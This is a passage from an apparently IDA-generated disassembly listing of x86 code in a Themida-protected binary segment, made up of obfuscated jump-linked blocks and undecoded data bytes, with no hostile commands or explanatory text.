loc_6422B0:				; CODE XREF: Themida_:00648A52j
		dec	edx
		sub	edx, 0AAD0673h
		add	eax, 53DB59BDh
		add	eax, edx
		sub	eax, 53DB59BDh
		pop	edx
		jmp	loc_63CB78
; ---------------------------------------------------------------------------
		db 0BFh, 7Bh, 0
		dd 0D7F707BDh, 28BCCF81h, 80E920B3h, 53000051h,	0BC2370BBh
		dd 37CB8129h, 815FE862h, 796A7ACBh, 84F38159h, 81124C4Ah
		dd 0B121FFF3h, 5BD8896Dh, 338EC181h, 0C1016572h, 338EE981h
		dd 0F2E96572h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64230F:				; CODE XREF: Themida_:0063C4DCj
		mov	edx, 2CF70F29h
		xor	ebp, edx
		jmp	loc_63831F
; ---------------------------------------------------------------------------
		db 81h
		dd 0B65127CBh, 7E3C105h, 0FF3643E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_642329:				; CODE XREF: Themida_:006472D0j
		or	ecx, esi
		pop	esi
		jmp	loc_64653F
; ---------------------------------------------------------------------------
		db 0BDh, 0A5h, 54h
		dd 0E5817CBAh, 21307E09h, 8103E5C1h, 4173C6C5h,	466AE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64234A:				; CODE XREF: Themida_:006438E2j
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 72F83CECh
		add	ecx, esi
		push	ebp
		mov	ebp, 4D6F0D1Ah
		sub	ebp, 34197E8Fh
		xor	ebp, 6EA70995h
		jmp	loc_636313
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 6
aBZuqiIYsn	db '',8,'ZQщY',0Dh,0
		dd 68B1BD00h, 0CD81676Eh, 27C353EAh, 8103E5C1h,	190643CDh
		dd 0E2F5810Fh, 0E95FC7EDh, 0FFFFD7EBh, 0C7815F54h, 4, 0CDB95156h
		dd 0C16F3A7Fh, 0E98103E1h, 1BA44AFDh, 0FFA78BE9h, 22C181FFh
		dd 897F1914h, 240C8BCBh, 4C481h, 0ED810000h, 14B525C1h
		dd 0BE56DD01h, 14B525C1h, 8B5EF501h, 0C483241Ch, 19E95104h
		dd 87000047h, 248B240Ch, 24043324h, 0E9240431h,	0FFFF5912h
		dd 24048F54h, 4240483h,	2FE95158h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64240F:				; CODE XREF: Themida_:006406CDj
		sub	ecx, 762759D1h
		push	eax
		mov	eax, 4F6A753Dh
		jmp	loc_6431E3
; ---------------------------------------------------------------------------
		dd 700668h, 24148900h, 0E950E289h, 63C7h
; ---------------------------------------------------------------------------


loc_642430:				; CODE XREF: Themida_:006413AAj
		push	ebp
		mov	ebp, 257C1B2Bh
		push	ebp
		jmp	loc_63C676
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF7C8Bh, 0C9E95658h, 8BFFFF63h, 48F2424h
		dd 5779E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642456:				; CODE XREF: Themida_:00638CFDj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_63D5C6
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4A8268h, 240C8900h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 26E92434h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64248B:				; CODE XREF: Themida_:006473E3j
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	ebx
		jmp	loc_642517
; ---------------------------------------------------------------------------


loc_642499:				; CODE XREF: Themida_:006463A7j
		sub	ebp, 7AA34C16h
		jmp	loc_637DC3
; ---------------------------------------------------------------------------


loc_6424A4:				; CODE XREF: Themida_:0063A957j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_635B53
; ---------------------------------------------------------------------------


loc_6424B5:				; CODE XREF: Themida_:00642D5Aj
		mov	ebx, 4
		jmp	loc_63C44D
; ---------------------------------------------------------------------------
		db 1
		dd 0C2315BD8h, 0FFEA8158h, 0E9FFFFFFh, 0FFFF795Bh
; ---------------------------------------------------------------------------


loc_6424D0:				; CODE XREF: Themida_:00648401j
		pop	ebx
		sub	edx, 10400D28h
		mov	edi, [esp]
		push	0DB8h
		mov	[esp], edx
		jmp	loc_64A670
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E3D108EBh, 7712BF57h, 0FB290BBDh, 6D71E95Fh, 0E6890000h
		dd 0F9F68h, 240C8900h, 0C221E3B9h, 4EC8108h, 89000000h
		dd 97E92404h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642517:				; CODE XREF: Themida_:00642494j
		push	ecx
		jmp	loc_637E86
; ---------------------------------------------------------------------------
aAIsmg		db ';A")m',0
		db 0
; ---------------------------------------------------------------------------


loc_642529:				; CODE XREF: Themida_:00641100j
		xor	ecx, 12A07B42h
		xor	ecx, 78D2ABBh
		and	ecx, 64660000h
		dec	ecx
		sub	ecx, 0FC5AF9D8h
		mov	edi, ecx
		pop	ecx
		and	ebx, edi
		pop	edi
		push	440Fh
		mov	[esp], edi
		mov	edi, 75F23543h
		jmp	loc_63FE7A
; ---------------------------------------------------------------------------


loc_64255A:				; CODE XREF: Themida_:00636BC2j
		pop	edx
		inc	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2A65058Bh
		or	edi, 3D351978h
		sub	edi, 23F358AFh
		sub	edi, 0FADF95F3h
		sub	edx, edi
		pop	edi
		push	esi
		jmp	loc_637688
; ---------------------------------------------------------------------------
		db 1, 0FEh, 0E9h
		dd 0FFFFA827h, 89242C89h, 0C7E952E5h, 5800001Ch, 8904EC83h
		dd 0EC83243Ch, 24048904h, 0A4210668h, 0FE96E97Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6425AE:				; CODE XREF: Themida_:0064A807j
		add	ecx, 4
		jmp	loc_6388D4
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2B186824h, 148B0AF1h, 0DBE95724h, 5C00002Ch,	504C483h
		dd 4, 4BB53h, 982D0000h, 14A6379h, 799805D8h, 46E94A63h
		dd 0E9FFFFCEh, 0FFFF2FB9h, 57D831ADh, 0FFA30BE9h, 0E78957FFh
		dd 4C781h, 0F3E90000h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642603:				; CODE XREF: Themida_:0063857Ej
		pop	ebx
		jmp	loc_63EC60
; ---------------------------------------------------------------------------
		db 52h,	50h, 0B8h
		dd 4, 0E958C289h, 0FFFF8D55h, 532F2368h, 9005E926h, 0C3B2FFFFh
		dd 8038B551h, 0DDF6F1E5h, 0FFFB09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_642631:				; CODE XREF: Themida_:00649A49j
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_6406C5
; ---------------------------------------------------------------------------


loc_642641:				; CODE XREF: Themida_:006477E0j
		push	eax
		push	4AB67A53h
		jmp	loc_63C8F0
; ---------------------------------------------------------------------------
		dd 0D1D055Fh, 94E93D91h, 33000016h, 895C2404h, 2434FFD7h
		dd 5A2434FFh, 5E08950h,	4, 405h, 24048700h, 0E289525Ch
		dd 4C281h, 0C2810000h, 4, 5C241487h, 3C8BF831h,	4C48324h
		dd 825CE953h, 148BFFFFh, 4C48324h, 4237E9h, 1BE95500h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6426A7:				; CODE XREF: Themida_:0064919Bj
		mov	[esp], eax
		mov	eax, 135419EFh
		not	eax
		dec	eax
		not	eax
		and	eax, 398672F5h
		and	eax, 5D203791h
		sub	eax, 1100108Ch
		add	ecx, eax
		pop	eax
		push	edx
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_642E79
; ---------------------------------------------------------------------------


loc_6426D3:				; CODE XREF: Themida_:0064A197j
		sub	esp, 4
		jmp	loc_64958C
; ---------------------------------------------------------------------------


loc_6426DB:				; CODE XREF: Themida_:00644334j
		pop	ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		push	4C39h
		mov	[esp], eax
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_64346A
; ---------------------------------------------------------------------------
		dd 2E28EB81h, 87594A93h, 4E9241Ch, 68FFFF94h, 4, 470EE9h
		db 0
; ---------------------------------------------------------------------------


loc_64271D:				; CODE XREF: Themida_:0063AB93j
		mov	[esp], eax
		push	64E307C9h
		pop	eax
		push	5091h
		mov	[esp], edi
		jmp	loc_63D1FA
; ---------------------------------------------------------------------------
		db 68h
		dd 365Bh, 0FF83DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_64273D:				; CODE XREF: Themida_:006432B4j
		add	ebx, 1
		or	ebx, 71730C91h
		inc	ebx
		or	ebx, 43174629h
		sub	ebx, 11D63B83h
		sub	edi, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_647D7B
; ---------------------------------------------------------------------------


loc_64276F:				; CODE XREF: Themida_:00640D41j
		add	ecx, 1AEC14E8h
		mov	edx, ecx
		pop	ecx
		xor	[esp+4], edx
		pop	edx
		pop	ebx
		xor	ebx, 1AEC1808h
		pop	esi
		add	ebp, 2D856796h
		jmp	loc_640126
; ---------------------------------------------------------------------------
		dd 104C483h, 0E18951D8h, 4C181h, 0E9810000h, 4,	605BE9h
		db 0
; ---------------------------------------------------------------------------


loc_6427A9:				; CODE XREF: Themida_:0063C5F7j
		xchg	edi, ecx
		jmp	loc_63AE69
; ---------------------------------------------------------------------------
		dd 582434FFh, 5204C483h, 4BAh, 586B2D00h, 0D0012674h, 74586B05h
		dd 42D5A26h, 0E9000000h, 0FFFF2FEAh, 66D8005Ah,	81241C8Bh
		dd 2C4h, 0E9E72C00h, 0FFFF38CEh, 0E9E78957h, 4B40h, 4246C01h
		dd 4246C81h, 62CF1D5Dh,	242C815Dh, 13738A3h, 0FFC636E9h
		dd 367E05FFh, 0C189A298h, 6DB5E958h, 0F581FFFFh, 2AF043F3h
		dd 0B940F581h, 2DE93999h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642827:				; CODE XREF: Themida_:00637E26j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	edi, ecx
		add	edi, 6DA9437Ah
		std
		push	ebx
		push	esi
		jmp	loc_64A2A6
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 2924248Bh, 0E99C2404h, 0FFFF2D55h, 4C481h
		dd 805B0000h, 0C9FEFFC1h, 8004E9C0h, 0B753ABF1h, 0E4B151AEh
		dd 0FE57E180h, 61AEE9C9h, 8851FFFFh, 88D9F6F9h,	0B5D2E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64287E:				; CODE XREF: Themida_:00647590j
		shl	edi, 8
		sub	edi, 630AF56Bh
		push	3E87h
		jmp	loc_63ABAB
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0D8E90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_64289F:				; CODE XREF: Themida_:00638C82j
		add	eax, ecx
		add	eax, 0EB71ECAh
		jmp	loc_648E68
; ---------------------------------------------------------------------------
		db 53h
		dd 3806D7BBh, 87E3815Ah, 0E90D861Fh, 0FFFFEDCAh, 0CC87E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6428C2:				; CODE XREF: Themida_:00649B2Fj
		pop	ecx
		add	ecx, 0EEE5DF0h
		jmp	loc_642BDA
; ---------------------------------------------------------------------------


loc_6428CE:				; CODE XREF: Themida_:0063E168j
		mov	esp, [esp]
		mov	[esp], ebx
		push	15CBh
		mov	[esp], eax
		push	72D16534h
		jmp	loc_63BC2D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E950240Ch, 33F4h, 2BF57h, 9DE90000h, 2DFFFFE5h, 3EF5308Fh
		dd 1195005h, 18262D6Ah,	34FF1370h, 240C8B24h, 8104C483h
		dd 4C4h, 20500h, 4330000h, 0D0F8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642926:				; CODE XREF: Themida_:0063FA0Fj
		add	ecx, 0E7EFF845h
		jmp	loc_647A26
; ---------------------------------------------------------------------------


loc_642931:				; CODE XREF: Themida_:0063D79Aj
		push	esi
		jmp	loc_64404D
; ---------------------------------------------------------------------------


loc_642937:				; CODE XREF: Themida_:0063B011j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_63F1FF
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 63A92455h
		push	1641h
		mov	[esp], ebx
		mov	ebx, 37AE02C2h
		xor	ebx, 581515E4h
		dec	ebx
		jmp	loc_6477E5
; ---------------------------------------------------------------------------
		dd 247AC781h, 0E7C16F4Bh, 3413E903h, 0BE56FFFFh, 7FB10B6Eh
		dd 4EF496B9h, 5EF10180h, 0FFDEA6E9h, 6B1FFh, 240C8BC8h
		dd 0E904C483h, 0FFFFC1A5h, 6602EC83h, 66243489h, 0FFBA6652h
		dd 0D68966FFh, 81665A66h, 0E9403CEAh, 0FFFF57CEh, 24048B66h
		dd 1CE68h, 6878E900h, 8159FFFFh, 0F15532C7h, 5E0EE93Ch
		dd 0DC680000h, 8900007Ah, 0CF682434h, 8900002Ah, 5FE9243Ch
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6429E3:				; CODE XREF: Themida_:00640ADCj
		xor	edx, [esp]
		mov	esp, [esp]
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 40000h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		jmp	loc_6376E5
; ---------------------------------------------------------------------------


loc_642A0B:				; CODE XREF: Themida_:0064728Cj
		pop	ecx
		pop	edi
		jmp	loc_63F321
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 44B9E904h, 0EC83FFFFh, 24048904h, 0FF30EBE9h, 0EB815CFFh
		dd 603D1313h, 0FFC18CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_642A31:				; CODE XREF: Themida_:0063B724j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 1
		dd 728405D0h, 34FF0CB9h, 24148B24h, 4C481h, 0C4810000h
		dd 4, 57241C8Bh, 0C781E789h, 4,	4C781h,	3C330000h, 243C3124h
		dd 5C243C33h, 4B8068h, 242C8900h, 5317BA52h, 0D58921F0h
		dd 95F5815Ah, 5274C87Ah, 746857h, 23E95B1Dh
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642A9F:				; CODE XREF: Themida_:00648E1Cj
		add	esp, 4
		jmp	loc_646F7D
; ---------------------------------------------------------------------------


loc_642AA7:				; CODE XREF: Themida_:00643D3Dj
		push	edi
		jmp	loc_641F74
; ---------------------------------------------------------------------------
		db 0E9h, 0F3h, 2Ah
		dd 1C89FFFFh, 6D41E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642ABA:				; CODE XREF: Themida_:006450F5j
		mov	edx, 6AD8437Ch
		and	eax, edx
		pop	edx
		dec	eax
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		push	ebp
		mov	ebp, 553D25B3h
		push	268h
		mov	[esp], edi
		jmp	loc_63A130
; ---------------------------------------------------------------------------


loc_642ADA:				; CODE XREF: Themida_:0063BDCCj
		mov	[esp], ecx
		push	4D4C312Eh
		jmp	loc_644E31
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BEE9242Ch, 81FFFF2Dh, 0ECC6FBF2h, 2454012Dh, 0E2E95A04h
		dd 0FF000075h, 669D1C77h, 2414D359h, 2A97E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642B0E:				; CODE XREF: Themida_:0063FCB7j
		or	ecx, esi
		jmp	loc_645A07
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0Bh
		dd 53320E7Fh, 1F14E7BBh, 81DBF704h, 144259F3h, 0E38124h
		dd 8168676Ah, 162F94EBh, 59C3815Ch, 1741B47h, 9D42E9D9h
		dd 540FFFFh, 79DD7BB5h,	4DF4E9h
		db 0
; ---------------------------------------------------------------------------


loc_642B4D:				; CODE XREF: Themida_:00645CDFj
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, ecx
		jmp	loc_63C7FC
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2, 0D64C581h, 88E93854h, 0B0FFFFB2h,	7721E97Bh, 0C4810000h
		dd 4, 0B551E704h, 80CDFE12h, 4FE94FF5h,	0BDFFFFC6h, 5CE76D70h
		dd 1868C581h, 0F9E94E43h, 5A000028h, 9AEE80h, 234DE9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_642BAE:				; CODE XREF: Themida_:0063880Fj
		mov	ebx, esp
		push	ebp
		push	ecx
		mov	ecx, 5C310B7Ch
		or	ecx, 70A26728h
		add	ecx, 0BF7105D2h
		jmp	loc_645039
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0E9242489h, 4BEAh
; ---------------------------------------------------------------------------


loc_642BD4:				; CODE XREF: Themida_:0063D749j
		pop	ebp
		jmp	loc_63B5C7
; ---------------------------------------------------------------------------


loc_642BDA:				; CODE XREF: Themida_:006428C9j
		sub	ecx, 7FCA7E92h
		add	ecx, 77F45BA7h
		push	ebx
		jmp	loc_635EE4
; ---------------------------------------------------------------------------


loc_642BEC:				; CODE XREF: Themida_:0063FA70j
		push	ecx
		push	edx
		jmp	loc_639C24
; ---------------------------------------------------------------------------


loc_642BF3:				; CODE XREF: Themida_:00637F85j
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		push	eax
		push	ebp
		mov	ebp, 4FEF56E0h
		jmp	loc_646BF6
; ---------------------------------------------------------------------------


loc_642C06:				; CODE XREF: Themida_:006416E8j
		pop	ecx
		add	ebx, 4
		jmp	loc_63D656
; ---------------------------------------------------------------------------
		dw 20BDh
		dd 0C177A707h, 0ED8104E5h, 3DD75E87h, 0FFAEFDE9h, 93E981FFh
		dd 8B02E374h, 46E92434h, 8BFFFFA8h, 0EC832424h,	24148904h
		dd 7C26CCBAh, 0E2D14227h, 5891C281h, 0EA81518Dh, 288A6F1Ah
		dd 0F74AD2F7h, 0E5CA81DAh, 0E967FF1Dh, 0FFFF9F5Eh, 12C9815Ah
		dd 0E92E0F63h, 0FFFFA437h
; ---------------------------------------------------------------------------


loc_642C6C:				; CODE XREF: Themida_:0063B0BAj
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_647D10
; ---------------------------------------------------------------------------


loc_642C88:				; CODE XREF: Themida_:00645672j
		push	esp
		jmp	loc_63EBDA
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 7C598C04h, 0A2E9DE01h, 66FFFF2Ch, 0E9240C89h, 5434h
; ---------------------------------------------------------------------------


loc_642CA4:				; CODE XREF: Themida_:0063B441j
		mov	esi, 0F793A141h
		add	ebx, esi
		jmp	loc_6490A3
; ---------------------------------------------------------------------------


loc_642CB0:				; CODE XREF: Themida_:00640B45j
		push	231Eh
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_635CE7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 2434FF24h, 0E92434FFh, 0FFFF67C8h
; ---------------------------------------------------------------------------


loc_642CD0:				; CODE XREF: Themida_:006388D8j
		xchg	esi, [esp]
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4A866852h, 75E90000h, 81FFFF72h, 6815A1C2h
		dd 81DAF70Ch, 1E3EC5CAh, 0F7CA8118h, 0E9138E5Ch, 0FFFFC4A9h
; ---------------------------------------------------------------------------


loc_642D00:				; CODE XREF: Themida_:006404C0j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_63DF55
; ---------------------------------------------------------------------------


loc_642D0D:				; CODE XREF: Themida_:006476E2j
		pop	esi
		add	[ecx], esi
		pop	ecx
		mov	esi, [esp]
		jmp	loc_63916F
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 93h
		dd 511A8509h, 0B53FB7B9h, 8BCD293Ah, 0C483240Ch, 13C18104h
		dd 1386F72h, 13E981E9h,	5D386F72h, 31240C33h, 0C33240Ch
		dd 89565C24h, 0ACC1E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642D4E:				; CODE XREF: Themida_:00637EC5j
		sub	eax, esi
		add	eax, 3E3E72CFh
		pop	esi
		push	edx
		push	esp
		pop	edx
		push	ebx
		jmp	loc_6424B5
; ---------------------------------------------------------------------------


loc_642D5F:				; CODE XREF: Themida_:006484CCj
		pop	edi
		pop	esi
		sub	[edi+20h], ebp
		pop	ebp
		jmp	loc_63F1FF
; ---------------------------------------------------------------------------


loc_642D6A:				; CODE XREF: Themida_:0064A52Dj
		pop	esp
		push	0B4Ch
		mov	[esp], ebx
		jmp	loc_63FEB8
; ---------------------------------------------------------------------------
		dd 0E964EC80h, 0FFFF7F91h, 81FFEF83h, 0FFFFFFC7h, 4992E9FFh
		dd 8B66FFFFh, 0EC81240Ch, 4, 57242C89h,	39E95F54h, 83FFFFE4h
		dd 0C48304C4h, 243C3304h, 0FFECC7E9h, 34875FFFh, 24248B24h
		dd 54240C89h, 0E9240C8Bh, 16C2h
; ---------------------------------------------------------------------------


loc_642DC4:				; CODE XREF: Themida_:00648D8Ej
		push	ebp
		push	edi
		push	722Ch
		jmp	loc_6385B3
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E904EC83h, 0FFFFA089h, 4C281h, 0C4E90000h
		dd 0BBFFFFFAh, 2BDBDAF5h, 0C15FFB01h, 0E38105EBh, 46817383h
		dd 268D68h, 243C8900h, 61286856h, 515E05ACh, 4C59ABB9h
		dd 4CC5E97Bh, 575EFFFFh, 0FF9760E9h, 0BFE956FFh, 66FFFF9Fh
		dd 5724048Bh, 0FF6CE5E9h, 74FF56FFh, 0E95E0424h, 0FFFFAD51h
; ---------------------------------------------------------------------------


loc_642E34:				; CODE XREF: Themida_:0063FCC1j
		mov	ebx, eax
		pop	eax
		shr	ebx, 4
		sub	ebx, 4F607D4Ch
		xor	ebx, 0B4563A32h
		add	ecx, 3B0A5D68h
		sub	ecx, 47A27891h
		add	ecx, 5048505Ch
		jmp	loc_642133
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 0A8h
		dd 4613FF3Bh, 1BADF681h, 87E90377h, 6600002Ch, 51240C8Bh
		dd 0FFE9DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_642E79:				; CODE XREF: Themida_:006426CEj
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_640D46
; ---------------------------------------------------------------------------
aISX		db ',$+x',0
		align 2
		dw 0E956h
		dd 0FFFFB508h, 8B24048Fh, 1D682424h, 8900000Bh,	0BF682414h
		dd 89000024h, 0EC81242Ch, 4, 50240489h,	0AC47BAB8h, 2444313Eh
		dd 815D5804h, 0AC47BAF5h, 4EC833Eh, 89241C89h, 4C381E3h
		dd 68000000h, 5985h, 0FFDDC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_642ED9:				; CODE XREF: Themida_:0063F29Fj
		push	ecx
		mov	ecx, 2A7A4069h
		shr	ecx, 5
		not	ecx
		jmp	loc_642076
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 11h
		dd 814F562Ah, 3D3D8AEBh, 954BE909h, 0B951FFFFh,	18CF3ADDh
		dd 0E9C1D9F7h, 2D64E908h, 0E9500000h, 0FFFF6560h, 89243489h
		dd 5A20E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_642F1A:				; CODE XREF: Themida_:00646DC6j
		mov	ecx, 67D3596Ch
		xor	ebp, ecx
		pop	ecx
		dec	ebp
		not	ebp
		sub	ebp, 672ACEE5h
		push	esi
		sub	esp, 4
		jmp	loc_639D88
; ---------------------------------------------------------------------------
		db 81h
		dd 0B50FAEC3h, 47685738h, 8B650355h, 0C483243Ch, 5FFB0104h
		dd 3EF7E381h, 0EB810691h, 5D1A1A0Dh, 0FFEB7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_642F5D:				; CODE XREF: Themida_:00638553j
		mov	ebp, 7C583266h
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_63C24C
; ---------------------------------------------------------------------------
aISO		db 'O',0
		dw 0AC00h
		dd 0EC81D830h, 4, 0B7241C89h, 82B3536Ah, 0C3B15166h, 0FDE9CB00h
		dd 29FFFFDEh, 1C8B5EF7h, 4C48324h, 31243C33h, 3C33243Ch
		dd 24D35C24h, 25FBE924h, 505BFFFFh, 4055854h, 51000000h
		dd 4B9h, 0E9C82900h, 57C4h, 58C7015Ah, 0E95FF901h, 0FFFF5BC4h
; ---------------------------------------------------------------------------


loc_642FCC:				; CODE XREF: Themida_:00636581j
		or	edx, 71752EEDh
		neg	edx
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		jmp	loc_640DF4
; ---------------------------------------------------------------------------
		db 83h
		dd 0C30104C4h, 0FFCB30E9h, 30F381FFh, 8104C677h, 33151AEBh
		dd 5BDF31DEh, 1BC2F781h, 0C78112A7h, 1C3FA2B4h,	0FF31C9E9h
		dd 8BEE01FFh, 0C481242Ch, 4, 0FF28B9E9h, 0C8B66FFh, 235D6824h
		dd 0C890000h, 0C8B5424h, 4C48324h, 4EC81h, 34890000h, 52E66824h
		dd 77E90000h, 0D0FFFFF5h, 9CF280EAh, 58E9D430h,	53FFFFFBh
		dd 0F888EF88h, 4B0E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_643056:				; CODE XREF: Themida_:00640474j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		mov	ebx, 42E753EFh
		sub	eax, ebx
		pop	ebx
		push	3B52h
		mov	[esp], ebp
		jmp	loc_6385FF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E18102E1h, 53822F03h, 89E9E981h, 5051C6B1h,	1C1BE1B8h
		dd 674CE945h, 8853FFFFh, 0E9DE88CBh, 0FFFFA989h, 34FFCA09h
		dd 240C8B24h, 6592E9h, 50E58900h, 702E46B8h, 3CF8E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6430CA:				; CODE XREF: Themida_:0063D50Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_6499E9
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 8704C783h, 248B243Ch, 5F545724h, 4C781h, 0EF810000h
		dd 4, 0E9243C87h, 0FFFFBEB2h, 33242C31h, 248B242Ch, 56D4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_643116:				; CODE XREF: Themida_:006382B3j
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		add	esp, 4
		inc	ecx
		push	34F6h
		mov	[esp], edx
		jmp	loc_637E69
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 1000000h, 2434FFCBh, 4DE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_643145:				; CODE XREF: Themida_:0063F713j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		push	edx
		push	ebx
		push	402B706Fh
		pop	ebx
		jmp	loc_63EE7A
; ---------------------------------------------------------------------------
aWsle		db 'WE',0
		dw 6600h
		dd 0B3241C89h, 28D62C34h, 0E9D604D8h, 0FFFF6BBBh
; ---------------------------------------------------------------------------


loc_643174:				; CODE XREF: Themida_:0063EFEBj
		xor	edi, 0A3A799BEh
		mov	edx, edi
		pop	edi
		and	edx, 42630ABEh
		inc	edx
		dec	edx
		push	esi
		mov	esi, 42610036h
		sub	edx, esi
		pop	esi
		add	ebp, 4715425Eh
		add	ebp, 37002CDh
		add	ebp, edx
		jmp	loc_638BA6
; ---------------------------------------------------------------------------
		db 5Eh,	5Dh, 55h
		dd 0FFF188E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6431A9:				; CODE XREF: Themida_:0064382Cj
		and	ecx, edi
		pop	edi
		jmp	loc_644CE1
; ---------------------------------------------------------------------------
		align 2
		dw 0E9EFh
		dd 0FFFF30A5h
; ---------------------------------------------------------------------------


loc_6431B8:				; CODE XREF: Themida_:00639995j
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_648386
; ---------------------------------------------------------------------------


loc_6431C7:				; CODE XREF: Themida_:0063CA5Ej
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_63B6F3
; ---------------------------------------------------------------------------


loc_6431E3:				; CODE XREF: Themida_:0064241Bj
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_63FEF6
; ---------------------------------------------------------------------------
		dw 8350h
		dd 248904ECh, 2A63E924h, 0CE68FFFFh, 89000071h,	0BB532424h
